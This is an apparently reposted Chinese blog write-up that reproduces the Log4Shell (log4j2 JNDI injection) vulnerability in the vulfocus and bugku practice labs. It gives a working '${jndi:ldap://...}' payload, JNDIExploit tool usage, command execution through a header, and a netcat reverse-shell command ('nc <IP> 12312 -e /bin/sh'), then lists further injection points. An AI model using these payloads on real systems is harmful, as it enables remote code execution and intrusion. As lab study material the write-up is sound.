log4j2是前幾天一個核彈級的漏洞
現在公開的靶場有vulfocus、bugku
http://vulfocus.fofa.so/#/dashboard
https://ctf.bugku.com/challenges/detail/id/340.html
關于該漏洞原理有很多大佬寫了, 久不做贅述,簡單來說
日志列印時遇到了${, 如果里面包含內容會當成變數來替換被執行
${Jndi Lookup方法:key://
Interpolator 類按照 : 分割出第一部分作為 prefix, 第二部分作為 key
通過 prefix 去找對應的 lookup,再通過對應的 lookup 實體呼叫 lookup 方法傳入 key 作為引數此次漏洞存在 JndiLookup 實體,JndiLookup 則是直接把傳進來的 key 當做 JNDI URL 用 InitialContext.lookup 去訪問,從而造成了 JNDI 代碼執行漏洞

在該核彈payload被公開的第二天, 在微信轉發payload時微信直接把${}給攔截掉了, 開始還以為我沒有copy全, 在第二次嘗試時候才反應過來, 直到第三天才恢復

工具使用的是https://github.com/welk1n/JNDI-Injection-Exploit
先使用log4shell了解一下
環境啟動
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
curl一下

可以看見可以將字串嵌入到服務器記錄的請求欄位中

嘗試寫入



在docker中查看發現可以被寫入

工具的使用
JNDIExploit是 一款用于 JNDI注入 利用的工具
利用該工具開啟能夠執行惡意命令的 ldap 服務器
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 本地IP -p httpPort


靶場復現
vulfocus
官網與本地搭建的環境不同, 官網的header缺少Content-Type: application/x-www-form-urlencoded
描述中有提示, 抓包顯示的頭部缺少Content-Type: application/x-www-form-urlencoded


使用payload驗證, 發現可以觸發dnslog, 可以確認可以利用
payload=${jndi:ldap://xxx.dnslog.cn/}

開啟工具, 工具開啟在外網能被靶機訪問到

構造payload

/TomcatBypass/TomcatEcho命令執行結果回顯
在header頭部加入cmd: 命令
執行回顯

Getshell
使用ReverseShell 該模塊用于 Linux 系統的反彈shell



也可以使用/TomcatBypass/Command/Base64/模塊, 發現構造中代碼缺少, 再進行url編碼兩次

發現識別成功, payload成功構建


bugku

一樣是構造payload發現可以觸發

但是在題目上有提示, 反彈shell的構造方式不一樣

發現不能直接連接, 那就按照他的寫法吧, 因為沒有說環境什么的久使用默認的吧

nc一直在報錯, 明明payload和nc格式都沒問題, 然后發現是nc少了一個命令少了一個
應該是nc -lnvvp
payload: nc 連接IP 12312 -e /bin/sh

而且針對該漏洞的bypass有很多種, 以及各種利用
比如獲取java版本等等
而且ldap注入工具對jdk高于8u191不能用basic


阿… 不能這樣子用

當然不光這里可以, 還有其他的地方可以寫入payload
比如
robots.txt
email
username
password
header
file
ssl certificates .........
關注公眾號

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/382796.html
標籤:其他
